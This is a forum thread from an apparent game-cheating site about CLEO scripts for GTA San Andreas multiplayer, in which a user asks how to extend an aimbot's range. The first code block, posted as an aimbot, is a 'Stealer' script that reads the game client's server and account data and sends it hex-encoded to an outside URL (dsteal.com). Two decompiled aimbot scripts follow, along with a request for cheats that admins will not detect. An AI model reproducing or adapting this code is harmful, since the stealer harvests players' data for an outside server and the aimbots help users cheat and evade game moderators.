CLEO Help AIMBOT DISTANCE

CLEO related
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bielzinbr

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Hello members of the ugbase would like to ask the following, would you like to increase the distance at which the aimbot will pull? , I have an aimbot that only pulls when it presses the key "c", very good for cbug, however it only works closely, wanted to know if it has to increase this distabcia in that it pulls the aim, thank you!


CODE::

{$CLEO .cs}
0000: 
wait 1750
0AB1: call_scm_func @Thread 1 @Stealer

0A93: end_custom_thread

:Stealer
0000: 
While true 
wait 0
0AA2: 31@ = load_library "kernel32.dll" // IF and SET 
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 
0A8E: 3@ = 0@ + 2203896 // int 
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 0
    if 2@ > 1000 
    then 
    0A8E: 22@ = 2@ + 973 // int 
    0A8D: 23@ = read_memory 22@ size 4 virtual_protect 0 
        if 2@ > 1000 
        then
        0A8E: 5@ = 23@ + 24 // int 
        0A8D: 4@ = read_memory 5@ size 4 virtual_protect 0 
            if 4@ > 1000 
            then
            0A8E: 5@ = 4@ + 34 // int 
            0A8D: 24@ = read_memory 5@ size 4 virtual_protect 0 
                if 24@ > 1000 
                then 
                0A8E: 22@ = 0@ + 2203832 // int 
                0A8D: 1@ = read_memory 22@ size 4 virtual_protect 0 
                    if 1@ > 1000 
                    then 
                    0A8E: 7@ = 1@ + 40 // int 
                    0A8D: 6@ = read_memory 7@ size 4 virtual_protect 0 
                    0A8E: 5@ = 1@ + 44 // int 
                    0A8D: 26@ = read_memory 5@ size 4 virtual_protect 0 
                        if 6@ == 1 
                        then 
                            if or
                            26@ == 1 
                            26@ == 3 
                            then 
                            25@ = 1
                            end
                        end 
                        if and
                        25@ == 1 
                        not 6@ == 1 
                        then 
                        0A8E: 7@ = 1@ + 48 // int 
                        0A8D: 3@ = read_memory 7@ size 4 virtual_protect 0
                        0A8E: 6@ = 1@ + 36 // int 
                        0A8D: 13@ = read_memory 6@ size 4 virtual_protect 0 
                        0A8E: 6@ = 0@ + 528432 // int 
                        0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@ 
                        0A8E: 6@ = 4@ + 26 // int 
                        0A8D: 23@ = read_memory 6@ size 4 virtual_protect 0 
                        0A8E: 7@ = 4@ + 10 // int 
                            if not 23@ >= 16 
                            then 
                            0085: 12@ = 7@ // (int) 
                            else
                            0A8D: 12@ = read_memory 7@ size 4 virtual_protect 0
                            end
                        wait 100
                        0A8E: 9@ = 2@ + 289 // int 
                        0A8E: 14@ = 2@ + 32 // int 
                        0A8E: 8@ = 2@ + 549 // int 
                        0A8D: 15@ = read_memory 8@ size 4 virtual_protect 0 
                        0A8E: 18@ = 4@ + 42 // int 
                        0A8D: 27@ = read_memory 18@ size 4 virtual_protect 0 
                        010B: 21@ = player $PLAYER_CHAR money 
                        0AC6: 0@ = label @Base offset 
                        0AC8: 20@ = allocate_memory_size 1024
                        0AC8: 22@ = allocate_memory_size 1024 
                        call @BaseID 0 30@  // Base, Serv, IP, Port, 
                        0AD3: 20@ = format "%d&&%s:%d&&%s&&%s&&%s&&%d" 30@ 14@ 15@ 9@ 12@ 5@ 3@
                        0C17: 21@ = strlen 20@
                        0C22: bin 20@ to_hex 20@ size 21@
                        0AD3: 22@ = format "%s%s" 0@ 20@
                        0ac8: 8@ = 256
                        0ad3: 8@ = "SAMP-Project" 
                        0ab1: @InternetOpen 1 8@ to 9@ 
                        0ab1: @InternetOpenUrl 2 9@ 22@ 
                        0ac9: 8@
                        0ac9: 20@
                        0ac9: 22@
                        0006: 25@ = 0 
                        end
                    end
                end
            end
        end
    end
end
:InternetOpen
0AA2: 30@ = load_library "Wininet.dll" // IF and SET 
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@
0AA7: function 29@ params 5 pop 0 {parameters} 0 0 0 {INTERNET_OPEN_TYPE_PRECONFIG} 0 {AGENT} 0@ {HANDLE} 1@
0ab2: 1 1@

:InternetOpenUrl
0AA2: 30@ = load_library "Wininet.dll" // IF and SET 
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@
0AA7: function 29@ params 6 pop 0 0 0 0 0 1@ 0@ 2@
0ab2: 0 
 
:BaseID           // ÁÀÇÀ
0@ = 114
ret 1 0@

:Base 
hex
"http:" 2f 2f "dsteal.com" 2f "ucp" 2f "include" 2f "add.php?data=" 00
end

:Thread 
0A9F: 32@ = current_thread_pointer 
000A: 32@ += 16 
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0 
0062: 32@ -= 0@ // (int) 
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@  
005A: 32@ += 0@ // (int) 
000A: 33@ += 16 
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0 
000A: 33@ += 44 
for 32@ = 0 to 30
    0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0 
    000A: 33@ += 4 
    end 
0ab2: 0
 

bielzinbr

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Ohhhhhhhhhh sorry for that I put the wrong cleo, here is the code of the aimbot that I said he just pulls when pressed "c" key which is very good for cbug ^^, however it has a limited distance, it only works closely, who Can you help me change this, thank you ^^!

CODE::

// This file was decompiled using SASCM.ini published by Seemann (http://sannybuilder.com/files/SASCM.rar) on 13.10.2007
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: NOP "Www.Youtube.Com/OpcodeXe"
0662: NOP "COMPILED BY OPCODEXE"
31@ = 0

:NONAME_61
wait 0
if
key_down 4
else_jump @NONAME_180
if
31@ == 0
else_jump @NONAME_142
31@ = 1
wait 200
jump @NONAME_180

:NONAME_142
31@ = 0
wait 200

:NONAME_180
jump @NONAME_187

:NONAME_187
wait 0
if and
31@ == 1
0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET
else_jump @NONAME_61

:NONAME_217
wait 0
if and
Actor.Defined(2@)
key_down 1
else_jump @NONAME_187
if and
not Actor.Dead(2@)
02CB: actor 2@ bounding_sphere_visible
else_jump @NONAME_187
0A96: 6@ = actor 2@ struct
6@ += 68
0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0
Actor.StorePos(2@, 6@, 7@, 8@)
10@ = 35
0093: 10@ = integer 10@ to_float
12@ = 17.0
12@ /= 360.0
006B: 3@ *= 12@ // (float)
006B: 4@ *= 12@ // (float)
006B: 5@ *= 12@ // (float)
006B: 3@ *= 10@ // (float)
006B: 4@ *= 10@ // (float)
006B: 5@ *= 10@ // (float)
005B: 6@ += 3@ // (float)
005B: 7@ += 4@ // (float)
005B: 8@ += 5@ // (float)
Actor.StorePos($PLAYER_ACTOR, 3@, 4@, 5@)
if
06BD: no_obstacles_between 3@ 4@ 5@ and 6@ 7@ 8@ solid 1 car 1 actor 0 object 1 particle 0
else_jump @NONAME_525
call @NONAME_532 4 2@ 6@ 7@ 8@

:NONAME_525
jump @NONAME_217

:NONAME_532
0087: 4@ = 1@ // (float)
0087: 5@ = 2@ // (float)
0087: 6@ = 3@ // (float)
068D: get_camera_position_to 1@ 2@ 3@
04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
0063: 1@ -= 4@ // (float)
0063: 2@ -= 5@ // (float)
0096: make 1@ absolute_float
0096: make 2@ absolute_float
0087: 10@ = 1@ // (float)
0087: 11@ = 2@ // (float)
006B: 10@ *= 10@ // (float)
006B: 11@ *= 11@ // (float)
005B: 10@ += 11@ // (float)
01FB: 10@ = square_root 10@
0087: 11@ = 1@ // (float)
0087: 12@ = 10@ // (float)
0073: 11@ /= 12@ // (float)
0AA5: call 4327328 num_params 1 pop 1 11@
0AE9: pop_float 12@
0AA5: call 4775488 num_params 1 pop 1 11@
0AE9: pop_float 13@
if
call @NONAME_1266 0 16@
else_jump @NONAME_827
if
call @NONAME_832 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@
else_jump @NONAME_827
15@ += 0.0389
0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0

:NONAME_827
ret 0

:NONAME_832
if
6@ == 5
else_jump @NONAME_897
7@ = 0.01
8@ = 0.01
9@ = 1.5607
10@ = 1.5807
jump @NONAME_1002

:NONAME_897
if
6@ == 6
else_jump @NONAME_962
7@ = 0.018
8@ = 0.02
9@ = 1.5507
10@ = 1.5907
jump @NONAME_1002

:NONAME_962
7@ = 0.0
8@ = 0.0
9@ = 1.5707
10@ = 1.5707

:NONAME_1002
if and
0025: 2@ > 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @NONAME_1045
0063: 5@ -= 8@ // (float)
0087: 15@ = 5@ // (float)

:NONAME_1045
if and
0025: 2@ > 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @NONAME_1098
5@ *= -1.0
0063: 5@ -= 7@ // (float)
0087: 15@ = 5@ // (float)

:NONAME_1098
if and
8035: not 2@ >= 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @NONAME_1141
005B: 4@ += 9@ // (float)
0087: 15@ = 4@ // (float)

:NONAME_1141
if and
8035: not 2@ >= 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @NONAME_1194
4@ *= -1.0
0063: 4@ -= 10@ // (float)
0087: 15@ = 4@ // (float)

:NONAME_1194
0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0
0063: 11@ -= 15@ // (float)
if and
not 11@ >= 0.18
11@ > -0.18
else_jump @NONAME_1256
0485: NOP_true
jump @NONAME_1258

:NONAME_1256
059A: NOP_false

:NONAME_1258
ret 1 15@

:NONAME_1266
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 1816
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0
if or
1@ == 2
1@ == 3
1@ == 4
1@ == 5
1@ == 6
1@ == 7
else_jump @NONAME_1356
0485: NOP_true
jump @NONAME_1358

:NONAME_1356
059A: NOP_false

:NONAME_1358
ret 1 1@


ALSO I HAVE THIS AIMBOT THAT IS VERY GOOD, THAT WORKS ON THE "C" KEY EQUAL TO THE ABOVE, AND ALSO HAS THE LIMITED DISTANCE, IF SOMEONE CAN KNOW THIS ON IT ALSO ^^

CODE ::

// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: printstring "WWW.YOUTUBE.COM/OPCODEXE"
0662: printstring "COMPILED BY OPCODEXE"

:NONAME_54
wait 0
if
0AD2: 2@ = player $PLAYER_CHAR targeted_actor //IF and SET
else_jump @NONAME_54

:NONAME_77
wait 0
if and
056D: actor 2@ defined
0AB0: key_pressed 67
0AB0: key_pressed 2
else_jump @NONAME_54
if and
not Actor.Dead(2@)
02CB: actor 2@ bounding_sphere_visible
else_jump @NONAME_54
0A96: 6@ = actor 2@ struct
6@ += 68
0A8D: 3@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 4@ = read_memory 6@ size 4 virtual_protect 0
6@ += 4
0A8D: 5@ = read_memory 6@ size 4 virtual_protect 0
Actor.StorePos(2@, 6@, 7@, 8@)
10@ = 35
0093: 10@ = integer 10@ to_float
12@ = 17.0
12@ /= 360.0
006B: 3@ *= 12@ // (float)
006B: 4@ *= 12@ // (float)
006B: 5@ *= 12@ // (float)
006B: 3@ *= 10@ // (float)
006B: 4@ *= 10@ // (float)
006B: 5@ *= 10@ // (float)
005B: 6@ += 3@ // (float)
005B: 7@ += 4@ // (float)
005B: 8@ += 5@ // (float)
Actor.StorePos($PLAYER_ACTOR, 3@, 4@, 5@)
if
06BD: no_obstacles_between 3@ 4@ 5@ and 6@ 7@ 8@ solid 1 car 1 actor 0 object 1 particle 0
else_jump @NONAME_389
0AB1: call_scm_func @NONAME_396 4 2@ 6@ 7@ 8@

:NONAME_389
jump @NONAME_77

:NONAME_396
0087: 4@ = 1@ // (float)
0087: 5@ = 2@ // (float)
0087: 6@ = 3@ // (float)
068D: get_camera_position_to 1@ 2@ 3@
04C4: store_coords_to 7@ 8@ 9@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 0.0
0063: 1@ -= 4@ // (float)
0063: 2@ -= 5@ // (float)
0096: make 1@ absolute_float
0096: make 2@ absolute_float
0087: 10@ = 1@ // (float)
0087: 11@ = 2@ // (float)
006B: 10@ *= 10@ // (float)
006B: 11@ *= 11@ // (float)
005B: 10@ += 11@ // (float)
01FB: 10@ = square_root 10@
0087: 11@ = 1@ // (float)
0087: 12@ = 10@ // (float)
0073: 11@ /= 12@ // (float)
0AA5: call 4327328 num_params 1 pop 1 11@
0AE9: pop_float 12@
0AA5: call 4775488 num_params 1 pop 1 11@
0AE9: pop_float 13@
if
0AB1: call_scm_func @NONAME_1130 0 16@
else_jump @NONAME_691
if
0AB1: call_scm_func @NONAME_696 7 4@ 5@ 7@ 8@ 12@ 13@ 16@ 15@
else_jump @NONAME_691
15@ += 0.0389
0A8C: write_memory 11989592 size 4 value 15@ virtual_protect 0

:NONAME_691
0AB2: ret 0

:NONAME_696
if
6@ == 5
else_jump @NONAME_761
7@ = 0.01
8@ = 0.01
9@ = 1.5607
10@ = 1.5807
jump @NONAME_866

:NONAME_761
if
6@ == 6
else_jump @NONAME_826
7@ = 0.018
8@ = 0.02
9@ = 1.5507
10@ = 1.5907
jump @NONAME_866

:NONAME_826
7@ = 0.0
8@ = 0.0
9@ = 1.5707
10@ = 1.5707

:NONAME_866
if and
0025: 2@ > 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @NONAME_909
0063: 5@ -= 8@ // (float)
0087: 15@ = 5@ // (float)

:NONAME_909
if and
0025: 2@ > 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @NONAME_962
5@ *= -1.0
0063: 5@ -= 7@ // (float)
0087: 15@ = 5@ // (float)

:NONAME_962
if and
8035: not 2@ >= 0@ // (float)
0025: 3@ > 1@ // (float)
else_jump @NONAME_1005
005B: 4@ += 9@ // (float)
0087: 15@ = 4@ // (float)

:NONAME_1005
if and
8035: not 2@ >= 0@ // (float)
8035: not 3@ >= 1@ // (float)
else_jump @NONAME_1058
4@ *= -1.0
0063: 4@ -= 10@ // (float)
0087: 15@ = 4@ // (float)

:NONAME_1058
0A8D: 11@ = read_memory 11989592 size 4 virtual_protect 0
0063: 11@ -= 15@ // (float)
if and
not 11@ >= 0.18
11@ > -0.18
else_jump @NONAME_1120
0485: return_true
jump @NONAME_1122

:NONAME_1120
059A: return_false

:NONAME_1122
0AB2: ret 1 15@

:NONAME_1130
0A96: 0@ = actor $PLAYER_ACTOR struct
0@ += 1816
0A8D: 1@ = read_memory 0@ size 1 virtual_protect 0
if or
1@ == 2
1@ == 3
1@ == 4
1@ == 5
1@ == 6
1@ == 7
else_jump @NONAME_1220
0485: return_true
jump @NONAME_1222

:NONAME_1220
059A: return_false

:NONAME_1222
0AB2: ret 1 1@
 
Joined
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It will attach to the enemy player as you call "only if you put your crosshair closely" because it is only works when the green triangle is shown up above the player you're targeting
More simplified : it is a triangle aimbot
 

bielzinbr

Member
Joined
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Messages
22
Reaction score
0
So if I use that fake triangle mod, would I get good results or not? The problem is that I do not like that mod of fake triangle, this aimbot was the weakest aimbot I could find because in the server where game admins are very smart, have to use weak aimbots, this is good however it has this problem of distance , I searched here in the forum and did not find any weak aimbot, if you have any and can give me a tip or something like that, thank you! ^^
 
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